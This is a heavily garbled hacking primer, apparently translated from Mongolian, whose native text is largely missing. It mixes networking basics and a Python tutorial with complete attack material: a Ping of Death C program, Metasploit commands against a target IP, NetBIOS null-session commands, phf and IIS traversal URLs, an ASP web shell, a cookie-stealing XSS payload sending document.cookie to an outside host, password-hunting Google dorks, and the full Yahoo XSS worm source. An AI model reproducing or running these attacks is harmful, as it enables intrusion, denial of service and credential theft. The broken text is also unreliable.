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“If you know the enemy and know yourself, you need not fear the 

result of a hundred battles”

- Sun Tzu
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- ? -

UNIX

? Linux FreeBSD 

? 

http://www.catb.org/hacker-emblem/glider.png

|_|0|_|    [  ][*][  ]    [ ][0][  ]    0 1 0    

|_|_|0|    [  ][  ][*]    [ ][  ][0]    0 0 1    

|0|0|0|    [*][*][*]    [0][0][0]    1 1 1

http://www.catb.org/hacker-emblem/glider.png
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To follow the path:

Look to the master,

follow the master,

walk with the master,

see through the master,

become the master.

Java” 
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,

Newbie: 

Script 

Weenies 
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1.

. 

2. UNIX  Windows, Linux

3.

4. TCP/IP

5. .

(DNS, FTP, HTTP, SSH, Telnet )

6. . (Firewall, Proxies, 

)

7.

Underground Warez Forum-
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. 

IP-

n, 

, -

Python, Perl Java, 

C/C++ 

White Hat Black Hat 

Black Hat, White Hat

Windows 

- Windows

?

- “format c:
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- -

Kevin 

Nokia, 

Fujitsu, Motorola, Sun Microsystems-

(FBI)-

Gary McKinnon 

11 

Citibank-

Interpol

Porsche 944S2

Kevin Poulsen

Kevin Poulsen

Omega Engineeriin

Omega Engineeriing 

logic bomb

Omega-
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Robert Morris

Meliissa

David 

Smith 

boy

eBay, Amazon

Denial of Service 

-

AT&T, 



23

- -

“If you want to stop hackers from invading your network, first 

you’ve got to invade their minds.”
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- -

20 970,932,447 

-

-

(application server)

-
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-

Perl, ASP 

-
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 ASPX 

ASP.NET-

-

http://
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IP

-

-

 Overload

-

(1000 -

- DDoS 

- Worm (

-

-

Overload-

- Firewall-

- HTTP traffic manager

- -

IP

Internet Explorer, Mozilla Firefox, Opera, Netscape 

Internet Explorer - 84,03 %
Firefox - 10,7%
Safari - 3,.25 %
Netscape - 0,98 %
Opera - 0,57%
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- Firewall -

- HTTP -

http://www.hacker.mn

HTTP 

GET /images/logo.gif HTTP/1.1 - Images 

HTTP- HEAD, GET, POST, PUT, 

DELETE, TRACE, OPTIONS, CONNECT 

HTTP 

HTTP/1.1 200 OK

Date: Mon, 23 May 2005 22:38:34 GMT

Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)

Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT

Etag: "3f80f-1b6-3e1cb03b"

Accept-Ranges: bytes

http://www.hacker.mn
ftp://ftp.hacker.mn
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Content-Length: 438

Connection: close

Content-Type: text/html; charset=UTF-8

- HTTPS -

HTTP 

HTTPS 

Secure Socker Layer (SSL) 

https:// 

HTTPS 

Linux Open SSL 

(encrypt)

- -

IP 

Dial-

Dynamic Host Configuration Protocol (DHCP) 

IP DHCP-

IP-

IPv6  IPv4 
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IPv4 4,294,967,296 (2

32

340,282,366,920,938,463,463,374,607,431,768,211,456 (2

128

)

192 = 11000000

168 = 10101000

13 = 00001101

10 = 00001010

http://3232238858

- DNS -

Domain Name System

www.hacker.mn

1. Top Level Domains (TLD). com
1980-

2. hacker.com -

3. hacking.hacker.com -

Level Domain-  Subdomain-

http://3232238858
http://www.hacker.mn
http://www.hacker.
http://www.
http://
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4.

http://www.hacker.mn -
.mn

op Level Domain

-

-

-

-

-

- TCP -

Transmission Control Protocol

TCP OSI 

transport 

TCP .

1.

2.

3.

- FTP -

http://www.hacker.mn
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 20,

FTP-

SFTP (SSH File Transfer Protocol), FTPS (FTP SSL)-

FTP cutuFTP

ftp(s)://<login>:<password>@<ftpserveraddress>:<port>

- Te -

-

-

-
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1.

2. -

-

3.

4. -

5.

6.

7.

8.

“Cont

- Encryption -
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cryptogram 

.

encryption

decryption) 

encryption-

-

-

-

-
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-

-

-

-

c-

-

-

public
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1960-

.

public String encrypt(String plainText) {

DESKeySpec keySpec = new DESKeySpec(encryptKey);

SecretKeyFactory factory = new SecretKeyFactory.getInstance(“DES”);

SecretKey key = factory.generateSecret(keySpec);

Cipher cipher = Cipher.getInstance(“DES”);

cipher.init(Cipher.ENCRYPT_MODE,key);

byte[] utf8text = plainText.getBytes(“UTF8”);

byte[] enryptedText = ecipher.doFinal(utf8text);

return Base64Encoder.encode(encryptedText);

}

- Intrusion Detection System -

) passive ( ) 

-

-

-

-

- Audit trails -
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aliz -

- Finger -

Finger . 

Finger- . 

 finger 

. Finger 

: 

> finger @196.xxx.129.66 

[196.xxx.129.66] 

Login Name Tty Idle Login Time Office Office Phone 

davidssh Shuaib pts/1 Sep 12 17:35 (pc22285) 

root root tty1 1d Sep 11 17:03

 finger 

.

mailto:@196.xxx.129.66
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- SSH –

UNIX- SSH Secure- Tatu 

RSA

Shell SSH-

- -

SSH- -

-

- SMTP -

-

- -

- POP3 -

- -

-

POP4 POP3
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- NNTP -

- SNMP -

SNMP-

-

-

-

- ARP -

ARP OSI Network

- ICMP -

- DHCP -
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- SSL -

-

SSL icon- SSL

-

-

- TFTP -

-

-

- Rootkit -



42

- Vulnerabilities, Threats, Countermeasures -

Vulnerability

Threat cracker

equipment

Countermeasure

vulnerability

-

-

-



43

-

spyware.

- -

-

Threat-

-
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- -

“Impossiblity: A word only to be found in the dictionary of fools.”

- N. Bonapart
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- -

(tool) ?

web browser(Internet explorer, 

Firefox, Netscape ) 

-

-

Chessmaster 10

 Chessmaster-

Chessmaster-

?

Chessmaster-

hessmaster-

Internet Explorer-

Authentication:

Brute Force

Authentication
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Authorization:

Session 

Content Spoofing

Cross-site Scripting

:

LDAP Injection

OS injection

SQL Injection

SSI Injection

XPath Injection

Denial of Service (DoS)

Defaut 

1.

2.

3. syslog-

4. Log-

5.

6. Jargon-
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-

-

-

-

SSH-
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Scan-

Linux 

- -

C:\>nslookup www.google.com

Server: dnsr1.sbcglobal.net

Address: 68.94.156.1

Non-authoritative answer:

Name: www.l.google.com

Addresses: 64.233.187.99, 64.233.187.104

Aliases: www.google.com

Registrant:

Pearson Technology Centre

Kenneth Simmons

200 Old Tappan Rd .

Old Tappan, NJ 07675 USA

Email: billing@superlibrary.com

Phone: 001-201-7846187

Registrar Name....: REGISTER.COM, INC.

Registrar Whois...: whois.register.com

Registrar Homepage: www.register.com

DNS Servers:

http://www.google.com
http://www.l.google.com
http://www.google.com
mailto:billing@superlibrary.com
http://www.register.com
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usrxdns1.pearsontc.com

oldtxdns2.pearsontc.com

-

-

www.arin.net . 

OrgName:    University of Illinois 

OrgID:      UIUC

Address:    1120 DCL, MC-256

Address:    1304 West Springfield Avenue

City:       Urbana

StateProv:  IL

PostalCode: 61801

Country:    US

NetRange:   192.17.0.0 - 192.17.255.255

CIDR:       192.17.0.0/16 

NetName:    UNIV-IL

NetHandle:  NET-192-17-0-0-1

Parent:     NET-192-0-0-0-0

NetType:    Direct Allocation

NameServer: DNS1.CSO.UIUC.EDU

NameServer: DNS2.CSO.UIUC.EDU

NameServer: DNS1.IU.EDU

Comment:    

RegDate:    

Updated:    2004-02-18

RAbuseHandle: UIUCS-ARIN

RAbuseName:   UIUC Security 

RAbusePhone:  +1-217-265-0000

RAbuseEmail:  abuse@uiuc.edu 

RTechHandle: CK185-ARIN

RTechName:   Kline, Charles 

RTechPhone:  +1-217-333-3339

RTechEmail:  kline@uiuc.edu 

http://www.arin.net
mailto:abuse@uiuc.edu
mailto:kline@uiuc.edu
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192.17.12.1-

192.17.12.254 /24 . Traceroute

Traceroute

C:\>tracert 192.168.1.200

Tracing route to 192.168.1.200:

1 10 ms <10 ms <10 ms

2 10 ms 10 ms 20 ms

3 20 ms 20 ms 20 ms 192.168.1.200

Trace complete.

ping sweep 

- Angry IP Scanner

- Pinger

- WS_Ping_ProPack

- Network scan tools

- Super Scan

- Nmap

 Privacy-
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UID=bWlrZTptaWtlc3Bhc3N3b3JkDQoNCg; expires=Fri, 20-Nov-2006

Java-

• Cross-site script - 80%

• SQL injection - 62%

• Parameter tampering - 60%

• Cookie poisoning - 37%

• Database server - 33%

• Web server - 23%

• Buffer overflow - 19%

- -

Window Unix 

1. Internet  Information Services BIND Domain name system

2. Microsoft SQL Server Remote Procedure Call

3. Windows Authentication Apache Web Server

4. Internet Explorer Authentication Accounts with No 

Passwords or Weak Passwords

5. Remote Access Services Clear Text Services

6. Microsoft Data Access 

Components

Sendmail

7. Windows Scripting Host Simple Network Mail Protocol

8. Microsoft Outlook Secure Shell (SSH)

9. Windows Peer to Peer File 

Sharing (P2P)

Misconfiguration of Enterprise 

Services NIS/NFS

10. Simple Network Mail Protocol Open Secure Socket Layer (SSL)
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- -

1. (Web/HTTP) - 45.54%
2. (NetBIOS) - 20.22%
3. (SQL) - 13.68%
4. 1985 (HSRP) - 3.52%
5. 138 (NetBIOS) - 3.38%
6. 25 (SMTP) - 3.37%
7. - 3.34%
8. - 3.26%
9. - 1.75%
10. - 1.55%

- -

-

nameserver-

-  nameserver 

www.hacker.mn

http://www.hacker.mn
http://www.hacker.mn
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nameserver-

-

- Buffer Overflows -

exploit

(worm)

strcpy (char *dest, const char *src)

strcat (char *dest, const char *src)

gets (char *s)

scanf ( const char *format, … )

Shell

Expoloit- exploit 

#include <stdio.h>

#include <stdlib.h>

void function(char *str) 

{
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char buffer[16];

strcpy(buffer,str);

}

void main() 

{

char string[256];

int i;

for( i = 0; i < 255; i++)

string[i] = 'Z';

function(string);

}

. . 

- Format string -

int func(char *user) {

fprintf( stdout, user);

}

int func(char *user) {

fprintf( stdout, “%s”, user);

}
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- -

?

bruteforce

/cgi-bin/show?../html/apps.html

show-
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HTML

PHP 

show-

secure.php include

include php.ini 
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phpSecurePages/secure.php 
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- -

DOS- -

HELP = HELP

COPY = CP

MOVE = MV

DIR = LS

DEL = RM

CD = CD

FINGER 

<username> 
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-

-

1. -

2. -

-

http://www.hacker.mn/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

-

http://www.hacker.mn/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
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- Social engineering -

Social engineering 

Social engineering 

Paypal-

Trojan horse -

-
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Social engineering-

-

- Phishing -

Phishing e-

-

-

support@ritebank.com -

-

mailto:support@ritebank.com
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-

- -

- -

- -

-



65

-

-

-

-

-

-

http://www.hacker.mn- http://www.hakcer.mn

SSL-

-

http://www.hacker.mn-���
http://www.hakcer.mn
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- -

hidden fie

<INPUT TYPE=HIDDEN NAME="name" VALUE="Dell PC">

<INPUT TYPE=HIDDEN NAME="price" VALUE="$500.00">

<INPUT TYPE=HIDDEN NAME="sh" VALUE="1">

<INPUT TYPE=HIDDEN NAME="return" VALUE="http://www.hacker. 

mn/cgi-bin/cart.pl?db=stuff.dat&category=&search=Dell 

PCs&method=&begin=&display=&price=&merchant=">

<INPUT TYPE=HIDDEN NAME="add2" VALUE="1">

<INPUT TYPE=HIDDEN NAME="img" 

VALUE="http://www.hacker.mn/images/c-14kring.jpg">

$500.00-

refresh .  2 

 Dell PC

<INPUT TYPE=HIDDEN NAME="name" VALUE="Dell PC">

<INPUT TYPE=HIDDEN NAME="price" VALUE="$2.00">

- exploit -

, 

 ISP- -

FTP 

Sam

nmap

http://www.hacker.
http://www.hacker.mn/images/c-14kring.jpg
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- cmd.exe-

nmap -sS -sV 156.154.22.1 -254 -p 139 

http://metasploit.org/tools/frameworks-2.3.exe

http://metasploit.org/tools/frameworks-2.3.exe
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set PAYLOAD  linux_ia32_bind
show options 
set RHOST 156.154.22.12
set RPORT 139
set LPORT 4444
exploit
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- NetBIOS NULL session -

-

-

net view \\156.154.22.15

-

net use \\156.154.22.15\IPC$ “” /U:”” 
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net use M: \\156.154.22.15\root
\
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- -

- -

String author = request.getParameter(AUTHOR_PARAM);

Cookie cookie = new Cookie("author", author);

      cookie.setMaxAge(cookieExpiration);

      response.addCookie(cookie);

HTTP/1.1 200 OK

...

Set-Cookie: author= Jane Smith

\r\nHTTP/1.1 200 OK\r\

Set-Cookie: author= MGL Hacker

HTTP/1.1 200 OK

...

-
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-

?
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- Do -

-

• Ping of Death

• Teardrop

• Ping Flooding

• Amplification

• D-DoS

• SYN-Flooding

• Port scan

• Stealth SYN scan

• FIN / X-Mas / Null-Scan

• Spoof

• Idle-Scan

•

Ping of Death -20-

#ifdef LINUX

#define REALLY_RAW

#define __BSD_SOURCE

#ifndef IP_MF

#define IP_MF           0x2000

#define IP_DF           0x4000

#define IP_CE           0x8000

#define IP_OFFSET       0x1FFF

#endif

#endif
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#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#include <string.h>

#include <arpa/inet.h>

/*

 * If your kernel doesn't muck with raw packets, #define REALLY_RAW.

 * This is probably only Linux.

 */

#ifdef REALLY_RAW

#define FIX(x)  htons(x)

#else

#define FIX(x)  (x)

#endif

int

main(int argc, char **argv)

{

        int s;

        char buf[1500];

        struct ip *ip = (struct ip *)buf;

#ifdef LINUX

        struct icmphdr *icmp = (struct icmphdr *)(ip + 1);

#else

        struct icmp *icmp = (struct icmp *)(ip + 1);

#endif

        struct hostent *hp;

        struct sockaddr_in dst;

        int offset;

        int on = 1;
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        bzero(buf, sizeof buf);

        if ((s = socket(AF_INET, SOCK_RAW,

#ifdef LINUX

      IPPROTO_ICMP

#else

        IPPROTO_IP

#endif

        )) < 0) {

                perror("socket");

                exit(1);

        }

        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

                perror("IP_HDRINCL");

          exit(1);

        }

        if (argc != 2) {

                fprintf(stderr, "usage: %s hostname\n", argv[0]);

                exit(1);

        }

        if ((hp = gethostbyname(argv[1])) == NULL) {

                if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

                        fprintf(stderr, "%s: unknown host\n", argv[1]);

                        exit(1);

                }

        } else {

                bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

        }

 printf("Sending to %s\n", inet_ntoa(ip->ip_dst));

        ip->ip_v = 4;

        ip->ip_hl = sizeof *ip >> 2;

        ip->ip_tos = 0;

        ip->ip_len = FIX(sizeof buf);

        ip->ip_id = htons(4321);

        ip->ip_off = FIX(0);

        ip->ip_ttl = 255;

        ip->ip_p = 1;

#ifdef LINUX    

        ip->ip_csum = 0;                 /* kernel fills in */
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#else

        ip->ip_sum = 0;                 /* kernel fills in */

#endif

        ip->ip_src.s_addr = 0;          /* kernel fills in */

        dst.sin_addr = ip->ip_dst;

        dst.sin_family = AF_INET;

#ifdef LINUX

        icmp->type = ICMP_ECHO;

        icmp->code = 0;

        icmp->checksum = htons(~(ICMP_ECHO << 8));

                /* the checksum of all 0's is easy to compute */

#else

 icmp->icmp_type = ICMP_ECHO;

        icmp->icmp_code = 0;

        icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

                /* the checksum of all 0's is easy to compute */

#endif

        for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

                ip->ip_off = FIX(offset >> 3);

                if (offset < 65120)

                        ip->ip_off |= FIX(IP_MF);

                else

                        ip->ip_len = FIX(418);  /* make total 65538 */

                if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

                                        sizeof dst) < 0) {

                        fprintf(stderr, "offset %d: ", offset);

                        perror("sendto");

                }

                if (offset == 0) {

#ifdef LINUX

                        icmp->type = 0;

                        icmp->code = 0;

                        icmp->checksum = 0;

#else

                        icmp->icmp_type = 0;

                        icmp->icmp_code = 0;
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                icmp->icmp_cksum = 0;

#endif

                }

        }

        return 0;

}

Teardrop

Ping Flooding

Amplification

Distributed DoS: DoS, D-

D-DoS.  

Zo

-

• PC

• IPID – indetification number-

•
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SYN Flooding
-

-

FIN / X-mas / Null-Scan

Spoof
WinSSL Man in the Middle-
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Idle-Scan -

•

•

•

• spam

- Google hack -

-

Google

• allinurl:winnt/system32/

• allintitle:"index of/root"

• allintitle:"index of/admin"

• inurl:“wwwroot/*.“

• filetype:htpasswd htpasswd

• inurl:admin filetype:db

• inurl:iisadmin

• users.pwd

• index.of.private (algo privado)

• intitle:index.of master.passwd

• inurl:passlist.txt (para encontrar listas de passwords)
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• intitle:"Index of..etc” passwd

• intitle:admin intitle:login

• “Incorrect syntax near” (SQL script error)

• intitle:index.of ws_ftp.ini

• inurl:backup intitle:index.of inurl:admin

• “Index of /backup”

• index.of.password

• index.of.winnt

• inurl:"auth_user_file.txt”

• “Index of /mail”

• “Index of /” +passwd

• Index of /” +.htaccess

• Index of ftp +.mdb allinurl:/cgi-bin/ +mailto

• allintitle: restricted filetype :mail

• administrator.pwd.index

• authors.pwd.index

• service.pwd.index

• inurl:"auth_user_file.txt”

• allinurl:/bash_history

• intitle:"Index of” pwd.db

• intitle:"Index of” etc/shadow

• intitle:"Index of” htpasswd

• service.pwd

• users.pwd

• administrators.pwd

• wwwboard.pl

• www-sql

• pwd.dat

• ws_ftp.log

• authors.pwd 

Java- Sun -

-



81



82



83

- Cross Site Scripting (XSS) -

XXS -

JavaScript 

JavaScript Cookie hijack

Firefox- cookie editor-

cookie-  Refresh

PoC exploit

cookie
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source-

Google-

PHP Nuke-

http://localhost/nuke73/modules.php?name=News&file=article&sid=1&opti

onbox=

['http://sample.com/ph33r/steal.cgi?'+document.cookie]

' SearchResult.aspx.vb 

Imports System 

Imports System.Web 

Imports System.Web.UI 

Imports System.Web.UI.WebControls 

Public Class SearchPage Inherits System.Web.UI.Page 

Protected txtInput As TextBox 

Protected cmdSearch As Button 

Protected lblResult As Label Protected 

Sub cmdSearch _Click(Source As Object, _ e As EventArgs) 

// Do Search…..

lblResult.Text="You Searched for: " & txtInput.Text 

// Display Search Results…..

// …………

End Sub 

End Class

-

Textbox 

<%@ Page Language="C#" ValidateRequest="false" %> 

<script runat="server"> 

void searchBtn _Click(object sender, EventArgs e) { 

Response.Write(HttpUtility.HtmlEncode(inputTxt.Text)); } 

http://localhost/nuke73/modules.php?name=News&file=article&sid=1&opti
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</script> 

<html> 

<body> 

<form id="form1" runat="server"> 

<asp:TextBox ID="inputTxt" Runat="server" TextMode="MultiLine" 

Width="382px" Height="152px"> 

</asp:TextBox> 

<asp:Button ID="searchBtn" Runat="server" Text="Submit" OnClick=" 

searchBtn _Click" /> 

</form> 

</body> 

</html>

- XSS

Input-

< &lt; 

> &gt; 

# &#35; 

& &amp; 

" &quot; 

Perl -

#!/usr/bin/perl

      use CGI;

      use HTML::Entities;

      my $cgi = CGI->new();

      my $text = $cgi->param('text');

      print $cgi->header();

print "You entered ", HTML::Entities::encode($text);
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- SQL injection -

$result = mysql_query(“ SELECT * FROM users WHERE user=’$user’ and 

pass=’$pass’ “);

if(mysql_num_rows($result)>0){ 

// login

} 

username- “admin” or 1=1/*’’ 

/  SQL-

$result = mysql_query(“ SELECT * FROM users

WHERE user=’admin’ or 1=1 /* ‘ and

pass=’$pass’ “);

- OS Injection -

on 

-

-

public class DoStuff {

public string executeCommand(String userName)

{ try

{
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String myUid = userName;

Runtime rt = Runtime.getRuntime();

rt.exec("doStuff.exe " +”-“ +myUid); // Call exe with 

userID

  } catch(Exception e)

{

e.printStackTrace();

}

}

}

getRuntime()- -

.NET-

namespace ExternalExecution

{ 

class CallExternal

{

static void Main(string[] args)

{ 

String arg1=args[0];

System.Diagnostics.Process.Start("doStuff.exe", arg1);

}

}

}

- -

 URL parsing 

http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.Exe?/C

+copy+c:\winnt\system32\cmd.Exe+c:\inetpub \scripts

http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.Exe?/C
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1. -

2. -

<form method=post ENCTYPE="multipart/form-data"> 

<input type=file name="File1"> 

<input type="submit" Name="Action" value="Upload"> 

</form> 

<hr> 

<!--#INCLUDE FILE="upload.inc"--> 

<% 

If Request.ServerVariables("REQUEST_METHOD") = "POST" Then 

Set Fields = GetUpload() 

If Fields("File1").FileName <> "" Then

Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName 

Response.Write("<LI>Upload: " & Fields("File1").FileName) 

End If 

End If 

%>
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-

<% Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile

On Error Resume Next 

Set oScript = Server.CreateObject("WSCRIPT.SHELL")

Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") 

Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 

szCMD = Request.Form(".CMD") 

If (szCMD <> "") Then

 szTempFile = "C:\" & oFileSys.GetTempName( ) 

Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 

Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 

End If 

%> 

<FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> 

<input type=text name=".CMD" size=45 value="<%= szCMD %>"> 

<input type=submit value="Run"> 

</FORM> 

<PRE> 

<% 

If (IsObject(oFile)) Then 

On Error Resume Next 

Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close 

Call oFileSys.DeleteFile(szTempFile, True) 

End If 

%> 

</PRE>
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-

HTTP POST-

- -
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- Yahoo XSS worm -

worm-

XSS worm 

Antivirus-

Antivirus- Antivirus-

http://ha.ckers.org

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' 

onfiltered="var http_request = false; var Email = ''; var IDList = ''; var 

CRumb = ''; function makeRequest(url, Func, Method, Param) { if 

(window.XMLHttpRequest) { http_request = new XMLHttpRequest(); } else 

if (window.ActiveXObject) { http_request = new 

ActiveXObject('Microsoft.XMLHTTP'); } http_request. onfiltered= Func; 

http://ha.ckers.org
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http_request.open(Method, url, true); if( Method == 'GET') 

http_request.send(null); else http_request.send(Param); 

}window.open('http://www,lastdata.com'); ServerUrl = url0;USIndex = 

ServerUrl.indexOf('us.' ,0);MailIndex = ServerUrl.indexOf('.mail' ,0);CutLen 

= MailIndex - USIndex - 3;var Server = ServerUrl.substr(USIndex + 3, 

CutLen); function GetIDs(HtmlContent) { IDList = ''; StartString = ' <td>'; 

EndString = '</td>'; i = 0; StartIndex = HtmlContent.indexOf(StartString, 

0); while(StartIndex >= 0) { EndIndex = HtmlContent.indexOf(EndString, 

StartIndex); CutLen = EndIndex - StartIndex - StartString.length; YahooID 

= HtmlContent.substr(StartIndex + StartString.length, CutLen); if( 

YahooID.indexOf('@yahoo.com', 0) > 0 || 

YahooID.indexOf('@yahoogroups.com', 0) > 0 ) IDList = IDList + ',' + 

YahooID ; StartString = '</tr>'; StartIndex = 

HtmlContent.indexOf(StartString, StartIndex + 20); StartString = ' <td>'; 

StartIndex = HtmlContent.indexOf(StartString, StartIndex + 20); i++; } 

if(IDList.substr(0,1) == ',') IDList = IDList.substr(1, IDList.length); 

if(IDList.indexOf(',', 0)>0 ) { IDListArray = IDList.split(','); Email = 

IDListArray[0]; IDList = IDList.replace(Email + ',', ''); } CurEmail = 

spamform.NE.value; IDList = IDList.replace(CurEmail + ',', ''); IDList = 

IDList.replace(',' + CurEmail, '');IDList = IDList.replace(CurEmail, 

'');UserEmail = showLetter.FromAddress.value;IDList = IDList.replace(',' + 

UserEmail, '');IDList = IDList.replace(UserEmail + ',', '');IDList = 

IDList.replace(UserEmail, ''); return IDList; } function ListContacts() { if 

(http_request.readyState == 4) { if (http_request.status == 200) { 

HtmlContent = http_request.responseText; IDList = GetIDs(HtmlContent); 

makeRequest('http://us.' + Server + '.mail.yahoo.com/ym/Compose/?rnd=' 

+ Math.random(), Getcrumb, 'GET', null); } } } function 

ExtractStr(HtmlContent) { StartString = 'name=\u0022.crumb\u0022 

value=\u0022?; EndString = '\u0022?; i = 0; StartIndex = 

HtmlContent.indexOf(StartString, 0); EndIndex = 

HtmlContent.indexOf(EndString, StartIndex + StartString.length ); CutLen 

= EndIndex - StartIndex - StartString.length; crumb = 

HtmlContent.substr(StartIndex + StartString.length , CutLen ); return 

crumb; } function Getcrumb() { if (http_request.readyState == 4) { if 

(http_request.status == 200) { HtmlContent = http_request.responseText; 

CRumb = ExtractStr(HtmlContent); MyBody = 'this is test'; MySubj = 'New 

Graphic Site'; Url = 'http://us.' + Server + '.mail.yahoo.com/ym/Compose'; 

var ComposeAction = compose.action;MidIndex = 

ComposeAction.indexOf('&Mid=' ,0);incIndex = 

mailto:YahooID.indexOf('@yahoo.com',
mailto:YahooID.indexOf('@yahoogroups.com',
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ComposeAction.indexOf('&inc' ,0);CutLen = incIndex - MidIndex - 5;var 

MyMid = ComposeAction.substr(MidIndex + 5, CutLen); QIndex = 

ComposeAction.indexOf('?box=' ,0);AIndex = 

ComposeAction.indexOf('&Mid' ,0);CutLen = AIndex - QIndex - 5;var 

BoxName = ComposeAction.substr(QIndex + 5, CutLen); Param = 

'SEND=1&SD=&SC=&CAN=&docCharset=windows-

1256&PhotoMailUser=&PhotoToolInstall=&OpenInsertPhoto=&PhotoGetSta

rt=0&SaveCopy=no&PhotoMailInstallOrigin=&.crumb=RUMBVAL&Mid=EM

AILMID&inc=&AttFol=&box=BOXNAME&FwdFile=YM_FM&FwdMsg=EMAIL

MID&FwdSubj=EMAILSUBJ&FwdInline=&OriginalFrom=FROMEMAIL&Origi

nalSubject=EMAILSUBJ&InReplyTo=&NumAtt=0&AttData=&UplData=&Old

AttData=&OldUplData=&FName=&ATT=&VID=&Markers=&NextMarker=0

&Thumbnails=&PhotoMailWith=&BrowseState=&PhotoIcon=&ToolbarState

=&VirusReport=&Attachments=&Background=&BGRef=&BGDesc=&BGDef

=&BGFg=&BGFF=&BGFS=&BGSolid=&BGCustom=&PlainMsg=%3Cbr%3E

%3Cbr%3ENote%3A+forwarded+message+attached.&PhotoFrame=&Phot

oPrintAtHomeLink=&PhotoSlideShowLink=&PhotoPrintLink=&PhotoSaveLin

k=&PhotoPermCap=&PhotoPermPath=&PhotoDownloadUrl=&PhotoSaveUrl

=&PhotoFlags=&start=compose&bmdomain=&showcc=&showbcc=&AC_D

one=&AC_ToList=0%2C&AC_CcList=&AC_BccList=&sendtop=Send&savedr

afttop=Save+as+a+Draft&canceltop=Cancel&FromAddr=&To=TOEMAIL&

Cc=&Bcc=BCCLIST&Subj=EMAILSUBJ&Body=%3CBR%3E%3CBR%3ENote

%3A+forwarded+message+attached.&Format=html&sendbottom=Send&s

avedraftbottom=Save+as+a+Draft&cancelbottom=Cancel&cancelbottom=

Cancel'; Param = Param.replace('BOXNAME', BoxName); Param = 

Param.replace('RUMBVAL', CRumb); Param = Param.replace('BCCLIST', 

IDList); Param = Param.replace('TOEMAIL', Email);Param = 

Param.replace('FROMEMAIL', 'av3@yahoo.com'); Param = 

Param.replace('EMAILBODY', MyBody); Param = 

Param.replace('PlainMESSAGE', ''); Param = Param.replace('EMAILSUBJ', 

MySubj);Param= Param.replace('EMAILSUBJ', MySubj);Param = 

Param.replace('EMAILSUBJ', MySubj); Param = Param.replace('EMAILMID', 

MyMid);Param = Param.replace('EMAILMID', MyMid);makeRequest(Url , 

alertContents, 'POST', Param); } }} function alertContents() { if 

(http_request.readyState == 4) { 

window.navigate('http://www.av3.net/?ShowFolder&rb=Sent&reset=1&YY

=75867&inc=25&order=down&sort=date&pos=0&view=a&head=f&box=I

nbox&ShowFolder?rb=Sent&reset=1&YY=75867&inc=25&order=down&sor

t=date&pos=0&view=a&head=f&box=Inbox&ShowFolder?rb=Sent&reset=

mailto:'av3@yahoo.com');
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1&YY=75867&inc=25&order=down&sort=date&pos=0&view=a&head=f&b

ox=Inbox&BCCList=' + IDList) } } makeRequest('http://us.' + Server + 

'.mail.yahoo.com/ym/QuickBuilder?build=Continue&cancel=&continuetop=

Continue&canceltop=Cancel&Inbox=Inbox&Sent=Sent&pfolder=all&freqCh

eck=&freq=1&numdays=on&date=180&ps=1&numadr=100&continuebott

om=Continue&cancelbottom=Cancel&rnd=' + Math.random(), 

ListContacts, 'GET', null)"> Please wait while loading the site
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- -

Python 

“All information should be free” 

- Hactivism 
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- Python -

Guido van Rossum-

- Python 2.5 

python

python Python 

Python 

Python 

library-

LISP Google-

Google-

(http://www.google.com/jobs/index.html)

Python- Jython 

Java- .

Python editor 

Windows- editor 

editor- IDLE editor-

http://www.python.org/cgi-bin/moinmoin/PythonEditors

Linux/FreeBSD python 

Windows python 

http://www.python.org/download

- -

Hello World Python 

py Editor-

IDLE editor CTRL + F5.

http://www.python.org/cgi-bin/moinmoin/PythonEditors
http://www.python.org/download
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#!/usr/bin/python

# Filename : helloworld.py

print 'Hello World'

 $ python helloworld.py

Hello World

Python 

and def exec if not return

assert del finally import or try

break elif for in pass while

class else from is print yield

continue except global lambda raise

Python integers, long 

integers, floating point, complex numbers. Int 

Long memory LISP

bignum long

-

'What's your name?'

(slash) 'What\

\\”

? C

\

Unicode- u”

u"This is a Unicode string."

_myname, name 

myName, myname 

#!/usr/bin/python

# Filename : var.py

i = 5

print i
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i = i + 1

print i

s = '''This is a multi-line string.

This is the second line.'''

print s

$ python var.py

5

6

This is a multi-line string.

This is the second line.

python 

i = 5

print i

i = 5;

- -

(+): 

-): -

50 -

2 * 3  

4/3  1 (integer )

(//): 4 // 3.0 
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 2. 

-

AND” (&): 5 & 3 

“OR” (|): 5 | 3 

” : 5 ^ 3 

“xor”

invet” (~), x invert -(x+1): ~5 -

(<): 5 < 3 

 3 < 5 < 7 

(>): 5 > 3 

#!/usr/bin/python

# Filename: expression.py

length = 5

breadth = 2

area = length * breadth

print 'Area is', area

print 'Perimeter is', 2 * (length + breadth)

$ python expression.py
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Area is 10

Perimeter is 14

- -

if 

If 

#!/usr/bin/python

# Filename: if.py

number = 23

guess = int(raw_input('Enter an integer : '))

if guess == number:

print 'Congratulations, you guessed it.' 

print "(but you do not win any prizes!)" 

elif guess < number:

print 'No, it is a little higher than that' 

else:

print 'No, it is a little lower than that'

print 'Done'

$ python if.py

Enter an integer : 50

No, it is a little lower than that

Done

$ python if.py

Enter an integer : 22

No, it is a little higher than that

Done

$ python if.py

Enter an integer : 23

Congratulations, you guessed it.

(but you do not win any prizes!)

Done
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- -

while-

